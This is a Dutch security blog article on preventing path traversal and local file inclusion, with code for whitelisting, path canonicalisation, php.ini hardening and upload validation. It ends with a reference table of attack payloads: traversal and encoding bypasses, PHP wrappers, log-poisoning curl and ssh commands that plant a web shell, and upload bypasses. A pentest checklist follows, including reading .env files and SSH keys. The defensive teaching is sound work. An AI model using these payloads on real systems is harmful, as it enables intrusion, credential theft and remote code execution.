jan-karel.nl
Home / Securitymaatregelen / Webbeveiliging / Path Traversal Preventie

Path Traversal Preventie

Path Traversal Preventie

Geen Omweg Naar Gevoelige Bestanden

Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.

Bij Path Traversal Preventie zit de meeste winst in veilige defaults die in elke release automatisch worden afgedwongen.

Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.

Directe maatregelen (15 minuten)

Waarom dit telt

De kern van Path Traversal Preventie is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.

Verdediging: het archief op slot

Na al die aanvalsroutes is het eerlijk om ook over verdediging te praten. Want hoewel het cynische in ons wil zeggen dat het toch hopeloos is, is path traversal en LFI een van die kwetsbaarheden die met discipline te voorkomen zijn.

Whitelist, niet blacklist

De fundamentele fout die de meeste applicaties maken, is het blokkeren van bekende slechte input (blacklisting) in plaats van het toestaan van bekende goede input (whitelisting).

# FOUT: blacklist
def get_file(filename):
    if '../' in filename:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

# GOED: whitelist
ALLOWED_FILES = {'report.pdf', 'manual.html', 'logo.png'}

def get_file(filename):
    if filename not in ALLOWED_FILES:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

De blacklist-aanpak is een eindeloze wapenwedloop. Je blokkeert ../, dus de aanvaller gebruikt ..%2F. Je blokkeert dat, dus hij gebruikt ....//. Je blokkeert dat, dus hij vindt weer iets nieuws. De whitelist-aanpak eindigt het gesprek: als het niet op de lijst staat, bestaat het niet.

Path canonicalisatie

Als een whitelist niet praktisch is (bijvoorbeeld bij een CMS dat willekeurige bestanden moet serveren), gebruik dan path canonicalisatie:

import os

def get_file(filename):
    base_dir = '/var/www/files'
    requested = os.path.realpath(os.path.join(base_dir, filename))

    if not requested.startswith(base_dir):
        return "Nee."

    return open(requested).read()

os.path.realpath() resolved alle .. componenten, symlinks, en encoding- trucs tot een absoluut pad. Als het resulterende pad niet begint met je basemap, is er iemand aan het traverselen.

Chroot / containers

De nucleaire optie: zet de webapplicatie in een chroot jail of container waar het bestandssysteem dat het proces kan zien beperkt is tot wat het nodig heeft. Zelfs als een aanvaller path traversal bereikt, is er niets interessants om te lezen.

# Docker: de applicatie ziet alleen /app
FROM python:3.12-slim
WORKDIR /app
COPY . .
USER nobody

PHP-specifieke maatregelen

; php.ini
allow_url_include = Off     ; Blokkeer remote file inclusion
allow_url_fopen = Off       ; Blokkeer remote file access
open_basedir = /var/www/    ; Beperk bestandstoegang
disable_functions = system,exec,passthru,shell_exec,popen,proc_open

open_basedir is PHP’s ingebouwde chroot. Het beperkt welke mappen PHP-scripts kunnen benaderen. Het is niet waterdicht (er zijn historische bypasses), maar het is een laag die je altijd moet toevoegen.

Upload-specifieke maatregelen

# Valideer extensie EN content-type EN magic bytes:
import magic

ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif'}

def validate_upload(file):
    ext = os.path.splitext(file.filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        return False

    # Check magic bytes met python-magic:
    mime = magic.from_buffer(file.read(2048), mime=True)
    file.seek(0)
    if mime not in ALLOWED_TYPES:
        return False

    return True

En, cruciaal: sla uploads op buiten de webroot, of op een apart domein zonder server-side scripting. Als de webserver geen PHP (of ASP, of JSP) uitvoert in de upload-map, maakt het niet uit wat er geupload wordt.

# Nginx: geen PHP executie in de uploads map
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

Rename na upload

Geef geuploadde bestanden een random naam zonder de originele extensie:

import uuid

def save_upload(file):
    safe_name = str(uuid.uuid4())  # Geen extensie, geen problemen
    path = os.path.join(UPLOAD_DIR, safe_name)
    file.save(path)
    return safe_name

Een bestand zonder extensie wordt door geen enkele webserver als uitvoerbaar beschouwd. Het is de digitale equivalent van het verwijderen van de trekker uit een pistool: het ziet er nog steeds gevaarlijk uit, maar het doet niets.

De realiteit

En hier is het moment waarop het cynische stemmetje weer mag meepraten.

Want het probleem met path traversal en LFI is niet dat we niet weten hoe we het moeten voorkomen. We weten het al sinds de jaren negentig. realpath() bestaat al langer dan de meeste webontwikkelaars leven. Whitelisting is geen geavanceerd concept. En toch, in 2026, zitten we hier nog steeds te praten over ../../../etc/passwd alsof het een nieuwe aanval is.

De waarheid is dat path traversal niet voortkomt uit onwetendheid. Het komt voort uit luiheid, haast, en de eeuwige overtuiging dat “het ons niet zal overkomen”. Het komt voort uit ontwikkelaars die een feature in een middag bouwen en de beveiliging “later” toevoegen – een “later” dat nooit komt omdat er altijd een nieuwe feature is die “later” ook nodig heeft.

We slaan gevoelige bestanden op in leesbare mappen. We geven de webserver toegang tot het hele bestandssysteem. We vertrouwen op extensiefilters die een kind van twaalf kan omzeilen. En als het misgaat, wijzen we naar de aanvaller alsof hij iets oneerlijks heeft gedaan.

De aanvaller heeft niets oneerlijks gedaan. Hij heeft ../ getypt. Dat is het. Drie karakters. Twee puntjes en een schuine streep. Als je systeem niet bestand is tegen twee puntjes en een schuine streep, dan is het probleem niet de aanvaller. Dan is het probleem dat je een systeem hebt gebouwd met het veerkracht-niveau van een kaartenhuis in een orkaan.

Maar goed, het houdt ons van de straat.

Referentietabel

Techniek Payload / Commando Doel
Basis traversal (Linux) ../../../../../../../etc/passwd Gebruikerslijst lezen
Basis traversal (Windows) ..\..\..\..\windows\win.ini Windows configuratie lezen
URL-encoded traversal ..%2F..%2F..%2Fetc%2Fpasswd Filter bypass via encoding
Dubbel URL-encoded ..%252F..%252F..%252Fetc%252Fpasswd Dubbele decodering bypass
Dot-stripping bypass ....//....//....//etc/passwd Filter verwijdert ../ maar niet ....//
Semicolon bypass ..;/..;/..;/etc/passwd Tomcat path parameter separator
Null byte (PHP < 5.3.4) ../../../etc/passwd%00.jpg Extensie-toevoeging omzeilen
PHP filter wrapper php://filter/convert.base64-encode/resource=config.php Broncode lezen als Base64
PHP data wrapper data://text/plain;base64,PD9waH... Code execution via URL
PHP expect wrapper expect://id Directe command execution
Log poisoning (injectie) curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET/ PHP in access log schrijven
Log poisoning (executie) curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id" Vergiftigd log includen
SSH log poisoning ssh '<?php system($_GET["cmd"]); ?>'@TARGET PHP via SSH auth log
/proc/self/environ curl -A "<?php system(\$_GET['cmd']); ?>" "http://T/page.php?file=../../../proc/self/environ&cmd=id" Injectie + executie in een stap
Extension bypass (PHP) shell.phtml, shell.phar, shell.php5 Blacklist omzeilen
Double extension shell.php.jpg, shell.jpg.php Extensiecontrole verwarren
Content-Type bypass Content-Type: image/jpeg bij PHP upload Content-type validatie omzeilen
Magic bytes GIF89a<?php system($_GET['cmd']); ?> Bestandstype detectie omzeilen
.htaccess upload AddType application/x-httpd-php .jpg Apache configuratie overschrijven
ZIP traversal z.writestr('../../../var/www/html/shell.phtml', payload) Path traversal via archief

Checklist voor testers

  1. Identificeer file inclusion parameters: Zoek naar URL-parameters die naar bestanden verwijzen (?file=, ?page=, ?include=, ?path=, ?template=, ?doc=, ?lang=).

  2. Test basis traversal: Begin met ../../../etc/passwd (Linux) of ..\..\..\..\windows\win.ini (Windows).

  3. Probeer encoding-varianten: URL-encoding, dubbele encoding, dot-stripping bypass, semicolon bypass.

  4. Lees gevoelige bestanden: .env, configuratiebestanden, SSH keys, wachtwoord-databases.

  5. Test PHP wrappers: php://filter voor broncode, data:// en php://input voor RCE.

  6. Probeer log poisoning: Injecteer code via User-Agent, SSH, of SMTP. Include het logbestand.

  7. Test file upload bypasses: Extensie-varianten, double extensions, null bytes, Content-Type manipulatie, magic bytes.

  8. Documenteer de keten: Van initieel lek tot code execution, stap voor stap.

Twee puntjes en een schuine streep. Drie karakters die al dertig jaar lang het verschil maken tussen “veilig” en “volledig gecompromitteerd”. Het is bijna poëtisch in zijn eenvoud. Bijna.

Op de hoogte blijven?

Ontvang maandelijks cybersecurity-inzichten in je inbox.

← Webbeveiliging ← Home